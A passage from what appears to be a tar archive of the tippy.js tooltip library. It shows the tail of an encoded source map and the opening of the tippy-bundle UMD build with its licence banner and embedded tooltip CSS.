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"} dist/tippy-bundle.umd.js 0000666 00000233753 15167156642 0011303 0 ustar 00 /**! * tippy.js v6.3.7 * (c) 2017-2021 atomiks * MIT License * * Docs: https://atomiks.github.io/tippyjs/v6/all-props/ */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory(require('@popperjs/core')) : typeof define === 'function' && define.amd ? define(['@popperjs/core'], factory) : (global = global || self, global.wpbc_tippy = factory(global.wpbc_Popper)); }(this, (function (core) { 'use strict'; var css = ".tippy-box[data-animation=fade][data-state=hidden]{opacity:0}[data-tippy-root]{max-width:calc(100vw - 10px)}.tippy-box{position:relative;background-color:#333;color:#fff;border-radius:4px;font-size:14px;line-height:1.4;white-space:normal;outline:0;transition-property:transform,visibility,opacity}.tippy-box[data-placement^=top]>.tippy-arrow{bottom:0}.tippy-box[data-placement^=top]>.tippy-arrow:before{bottom:-7px;left:0;border-width:8px 8px 0;border-top-color:initial;transform-origin:center top}.tippy-box[data-placement^=bottom]>.tippy-arrow{top:0}.tippy-box[data-placement^=bottom]>.tippy-arrow:before{top:-7px;left:0;border-width:0 8px 8px;border-bottom-color:initial;transform-origin:center bottom}.tippy-box[data-placement^=left]>.tippy-arrow{right:0}.tippy-box[data-placement^=left]>.tippy-arrow:before{border-width:8px 0 8px 8px;border-left-color:initial;right:-7px;transform-origin:center left}.tippy-box[data-placement^=right]>.tippy-arrow{left:0}.tippy-box[data-placement^=right]>.tippy-arrow:before{left:-7px;border-width:8px 8px 8px 0;border-right-color:initial;transform-origin:center 